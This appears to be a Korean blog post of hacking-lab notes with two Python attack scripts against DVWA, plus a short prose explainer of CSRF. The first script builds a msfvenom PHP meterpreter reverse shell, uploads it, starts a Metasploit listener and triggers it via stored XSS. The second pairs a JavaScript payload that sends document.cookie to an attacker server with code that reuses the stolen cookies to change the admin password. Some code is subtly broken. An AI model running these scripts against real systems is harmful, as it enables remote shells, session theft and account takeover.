[목차]

 

 

 

1. XSS_attack.py

2. CSRF

 

 


 

 

[XSS_attack.py]

 

import re
import os
import sys
import requests
from bs4 import BeautifulSoup
import time

headers = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Linux 2.6.26-1-amd64) Lobo/0.98.3'}
proxies = {'http': 'http://127.0.0.1:9000', 'https': 'https://127.0.0.1:9000'}


# (1) Login
# (2) Security Level
login_url = 'http://192.168.10.134/dvwa/login.php'
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
s = requests.Session()
req = s.post(login_url, data=login_data, headers=headers, proxies=proxies)
#print(req.text)
login_msg = "Welcome to Damn Vulnerable Web App!"

soup=BeautifulSoup(req.text, 'lxml')
# print(soup.h1.string)

if re.search(login_msg, str(soup.h1)):
    print("[  OK  ] Login Success!")
else:
    print("[ FAIL ] Login Failed")
    sys.exit(2)

# 2) Security Level Check
sec_url='http://192.168.10.134/dvwa/security.php'
sec_data={'security': 'low', 'seclev_submit': 'Submit'}

req = s.post(sec_url, data=sec_data, headers=headers, proxies=proxies)
# print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
# print(soup.find_all('div', {'class': 'message'}))
sec_msg = 'Security level set to low'

if re.search(sec_msg, str(soup.find_all('div', {'class': 'message'}))):
    print('[  OK  ] Security level set to low')
else :
    print('[ FAIL ] Check security level.')
    sys.exit(3)


# (3) XSS Vulnerable check
# How to check vulnerablilty of XSS
# => <script>alert('takudaddy')</script>

# (3-1) Vulnerable check
xss_url = "http://192.168.10.134/dvwa/vulnerabilities/xss_s/"
xss_data = {'txtName': 'test',
            'mtxMessage': '<script>alert("takudaddy")</script>',
            'btnSign': 'Sign+Guestbook'}

upload_msg = 'takudaddy'

req = s.post(xss_url, data=xss_data, headers=headers, proxies=proxies)
#print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
#print(soup.find_all('script'))

if re.search(upload_msg, str(soup.find_all('script'))):
    print("[  OK  ] XSS Attack Possible")
else:
    print("[ WARN ] XSS Attack Impossible")
    sys.exit(4)

# (3-2) DB Reset
reset_url = "http://192.168.10.134/dvwa/setup.php"
reset_data={'create_db': 'Create+%2F+Reset+Database'}
#reset_params={'create_db': 'Create+%2F+Reset+Database'}
reset_msg = 'Setup successful!'

req = s.post(reset_url, data=reset_data, headers=headers, proxies=proxies)
#print(req)
soup=BeautifulSoup(req.text, 'lxml')
#print(soup.find_all('div', {'class': 'message'}))

if re.search(reset_msg, str(soup.find_all)):
    print('[  OK  ] DB reset Complete')
else:
    print('[ WARN ] Fail to reset DB')


# (4) File upload
# 4-1) Create Payload
# 4-2) upload payload
# 4-3) Listner start
# 4-4) XSS Attack

# 4-1) Create Payload by msfvenom
#   msfvenom -p php/meterpreter/reverse_tcp
#   LHOST=192.168.10.60 LPORT=7979
#   -f raw > attack.php
# uncomment (attack.php : /*)

print('[ INFO ] Creating payload. Please wait...')
RET = os.system('msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.60 LPORT=7979 -f raw > attack.php')
#print(RET) # 출력값은 0. 터미널에서 echo $?로 확인해보면 결과값이 나오는데 정상이면 0, 아니면 다른번호 나옴
if RET == 0 :
    print('[  OK  ] Payload has been created!')
else:
    print('[ FAIL ] to create payload')
    sys.exit(5)
'''
# 4-1-2) Uncomment payload
RET2 = os.system('cat attack.php | cut -c3- > attack2.php')
RET3 = os.system('/bin/mv -f attack2.php attack.php')
if RET2 == 0 and RET3 == 0 :
    print('[  OK  ] Complete Uncomment payload!')
else:
    print('[ FAIL ] to uncomment payload')
    sys.exit(6)
'''
# 4-2) upload payload
upload_url = 'http://192.168.10.134/dvwa/vulnerabilities/upload/'
upload_data = {'MAX_FILE_SIZE': 100000, 'Upload': 'Upload'} #숫자 값은 해석 되라고 묶으면 안된다?
upload_file = {'uploaded': ('attack.php', open('attack.php', 'rb'), 'text/plain')} #파일명, 내용,타입
upload_msg = 'succesfully uploaded!'

req = s.post(upload_url, data=upload_data, files=upload_file, headers=headers, proxies=proxies)
#print(req.text)
soup = BeautifulSoup(req.text, 'lxml')
#print(soup.pre)
if re.search(upload_msg, soup.pre.string):
    print('[  OK  ] attack.php file successfully uploaded')
else:
    print('[ FAIL ] to upload file.')
    sys.exit(7)

# 4-3) Create Listener
# 리스너를 생성한 후
# 새로운 창에서 실행되도록 한다 => xterm 사용! xterm 다음에 원하는 커맨드 입력
# xterm -e msfconsole -q -r(resource file) attacker.rc

# 4-3-1) Create Listener
'''
os.system('cat<<EOF>>attacker.rc \
            use exploit/multi/hanfler \
            set payload php/meterpreter/reverse_tcp \
            set LHOST 192.168.10.60 \
            set LPORT 7979 \
            set ExitSession false \
            exploit -j -zip
            EOF')
'''
listener_content = """
use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp 
set LHOST 192.168.10.60 
set LPORT 7979 
set ExitSession false 
exploit -j -z
"""
resource_file = 'attacker.rc'
fd = open(resource_file, 'w+')
fd.write(listener_content)
fd.close()
if os.path.exists(resource_file):
    print('[  OK  ] Listener File exist')
else:
    print('[ FAIL ] No listener file')
    sys.exit(8)


# 4-3-2) Execute Listener
print('Listen starting. Please wait...')
os.system('xterm -e msfconsole -r /attack/hacker/attacker.rc &')
time.sleep(20)


# 4-4) XSS script store
#RES4 = os.system('msfconsole -q -r /attack/hacker/attack.php')
#print(RES4)
# <script>windowslocation=192.168.10.134/dvwa/hackable/uploads/attack.php</script>
xsss_url='http://192.168.10.134/dvwa/vulnerabilities/xss_s/'
xsss_text='<script>window.location=192.168.10.134/dvwa/hackable/uploads/attack.php</script>'
xsss_data={'txtName': 'XSSsattack', 'mtxMessage': xsss_text , 'btnSign': 'Sign+Guestbook'}
xsss_msg='XSSsattack'
req = s.post(xsss_url, data=xsss_data, headers=headers, proxies=proxies)
#print(req.text)
soup=BeautifulSoup(req.text, 'lxml')
#print(soup.find_all('div', {'id': 'guestbook_comments'}))

if re.search(xsss_msg, str(soup.find_all('div', {'id': 'guestbook_comments'}))):
    print('[  OK  ] XSS stored attack success!')
    xss2_url = 'http://192.168.10.134/dvwa/hackable/uploads/attack.php'
    s.get(xss2_url, headers=headers, proxies=proxies)
    print('[  OK  ] Hacking suceess. Have a good time!')

else:
    print('[ FAIL ] to attack xss_stored')
    sys.exit(9)

# 4-5) Execute upload file

 

 

 


 

 

 

[CSRF]

 

 

CSRF(Cross Site Request Forgery) 란?

: XSRF == CSRF

: CSRF는 XSS와 달리 JavaScript를 사용할 수 없는 상태라도 공격이 가능하다. 사이트에서 제공하는 기능을 피해자의 웹 브라우저에서 요청시키도록 하는 공격이다. 공격자의 악성코드를 읽은 피해자는 요청을 서버로 보내게 되며, 서버는 피해자의 권한으로 요청에 대한 처리를 하게 된다.

: 사전 승인된 요청을 취약한 웹 어플리케이션에 보내도록 함으로써 희생자의 브라우저가 공격자에게 이득이 되는 악의적인 공격기법이다.

: 로그인한 사용자(사용자의 브라우저 대상)를 대상으로 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격이다.

: 일반적으로 <script>, <object>, <applet>, <embed>, <img>와 같은 태그가 포함되어 악용된다.

 

 

 

■ CSRF 발생원인

- 개별 링크와 폼이 사용자 별로 예층 가능한 토큰을 사용할 때 발생한다.

- 예층 불가능한 토큰이 있다면 공격자는 요청 메시지를 변조 할 수 없지만, 예층 가능한 토큰이 있다면 공격자는 요청 메시지를 변조 할 수 있다. 그러므로 상태를 변경하는 기능들을 호출하는 링크와 폼이 CSRF 공격의 가장 중요한 공격 대상이다.

- 인증이나 세션쿠키 등 모든 웹 사이트에서 인증된 사용자가 보내는 데이터는 정상적인 경로를 통한 파라메터 요청으로 판단함 즉 정상적인 요청과 비 정상적인 요청을 구분하지 못한다.

 

 

 

■ CSRF 발생 순서

① 공격자는 CSRF 스크립트가 포함된 내용을 게시글에 올린다.

② 희생자는 CSRF Script 가 포함된 페이지를 요청 한다.

③ WebServer 가 받은 요청에 대해 응답을 한다.

④ 응답 받는 희생자는 CSRF 에 의해 Victim의 권한으로 사용 가능한 서비스를 요청한다.

 

 

 

■ CSRF 공격 예

- 관리자가 게시판 글을 읽는데 게시글속에 권한 상승 코드나 결재 코드 등을 입력하여 글을 읽게 되면

게시글 속에있는 코드도 같이 실행되게 하는 기법

- 관리자가 실행하게 되므로 권한 상승도 가능하게 함

- 자동 댓글 달기

- 자동 회원가입 및 정보 변경

 

 

■ CSRF 공격 영향

사용자 계정생성

로그아웃

중요한 데이터 엑세스

계정정보 변경

관리자 권한 획득

검색 순위 조작

웹 관리를 지원하는 라우터 및 공유기 설정 변경

 

 

 

■ XSS와 CSRF 차이점

 

 

 

CSRFattack.py

#!/usr/bin/env /usr/bin/python3

# ======================================================================
# 선수작업 1(linux200)
# ======================================================================
# (1) 공격자는 xss.php 파일을 linux200 서버의 /var/www/html/xss 디렉토리에 생성하고
#     적당한 권한을 준 이후에 웹서비스를 기동한다.
#     (EX) # cd /var/www/html; mkdir -p xss; chmod 777 xss; chown apache:apache xss; service httpd restart
#     (EX) # cat /var/www/html/xss/xss.php
#       <?php
#       $f = fopen("log.txt", 'w');
#       fwrite($f, date("Y-m-d H:i:s"). " "));
#       fwrite($f, $_SERVER["REMOTE_ADDR"]. " ");
#       fwrite($f, $_SERVER["REQUEST_URI"]. "\n");
#       fclose($f);
#       header("Location: http://192.168.10.134/dvwa/vulnerabilities/xss_r/");
#       ?>

# ======================================================================
# 선수 작업 2(DVWA WEB 관리자)
# ======================================================================
# (1) 관리자는 firefox 이용하여 DVWA 웹서버에 로그인(admin/password)한다.
# (2) Security Level을 low로 맞춘다.
# (3) 그리고 XSS_reflected 선택하고 다음과 같은 구문을 실행한다.
#     <script language="JavaScript">
#     window.location="http://192.168.10.200/xss/xss.php?"+document.cookie;
#     </script>
# (4) linux200:/var/www/html/xss/log.txt 파일이 존재하고 내용이 있는지 확인한다.


# ===============================================
# (0) Module Import & Proxies & Banner
# ===============================================
# (0-1) Module Import List
import sys
import re
import time
import requests
from bs4 import BeautifulSoup

# (0-2) Burpsuite Proxy
# http  : 'http://127.0.0.1:9000'
# https : 'https://127.0.0.1:9000'
proxies = {'http': 'http://127.0.0.1:9000', 'https': 'http://127.0.0.1:9000'}

# (0-3) Banner Message


def banner():
    banner_msg = """
------------------------------------------------
Remote Execution Vulnerable Check & Exploit Code
                           Written by t4kud4ddy
------------------------------------------------                           
"""
    print(banner_msg)


banner()


# ==============================================================
# (1) log.txt 파일 존재 유무 확인
# ==============================================================
linux200_logfile_url = 'http://192.168.10.200/xss/log.txt'
while True:
    try:
        print("[ INFO ] log.txt 파일이 존재하는지 확인합니다.")
        resp = requests.get(linux200_logfile_url, proxies=proxies)
        if resp.status_code == 404:
            print("[ FAIL ] " + time.asctime() + " : log.txt 파일이 존재하지 않습니다.")
            time.sleep(5)
            continue
        else:
            print("[  OK  ] log.txt 파일이 존재합니다."+  time.asctime())
            break
    except KeyboardInterrupt:
        sys.exit(2)


# ==============================================================
# (2) HTTP response(log.txt)에서 cookie 값 추출
# ==============================================================
# (2-1) 로그 파일 내용 중 cookie 부분을 추출
# (2-2) %20 문자를 삭제
# (2-3) ';' 문자를 기준으로 list로 변환
# (2-4) 결과를 저장할 list에 cookie 각각의 값을 넣기

soup = BeautifulSoup(req.text, 'lxml')
#print(soup)
find_cookie = soup.p.string.split('?')[1]
#print(find_cookie)
find_cookie2 = find_cookie.replace("%20", "")
#print(find_cookie2)
find_cookie2_list = find_cookie2.split(';')
#print(find_cookie2_list)

find_cookie2_list_result = []
for i in find_cookie2_list:
    find_cookie2_list_result.append(i.rstrip().split("="))
csrf_cookies = dict(find_cookie2_list_result)
#print(csrf_cookies)
print("[ INFO ] 쿠키 값이 추출 되었습니다.")


# ==============================================================
# (3) CSRF Attack
# ==============================================================
# - HTTP Method : GET
# - http://192.168.10.134/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
csrf_url = 'http://192.168.10.134/dvwa/vulnerabilities/csrf/?'
csrf_params = {'password_new': 'password', 'password_conf': 'password', 'Change': 'Change#'}
resp = requests.get(csrf_url, params=csrf_params, cookies=csrf_cookies, proxies=proxies)

soup = BeautifulSoup(resp.text, 'lxml')
FIND_MESS = soup.pre.string
OK_MESS = 'Password Changed'
# FAIL_MESS = 'Passwords did not match.'

if re.search(OK_MESS, FIND_MESS):
    print("[  OK  ] CSRF Attack 성공하였습니다.")
    sys.exit(0)
else:
    print("[ FAIL ] CSRF Attack 실패하였습니다.")
    sys.exit(2)

 

 

728x90
반응형

+ Recent posts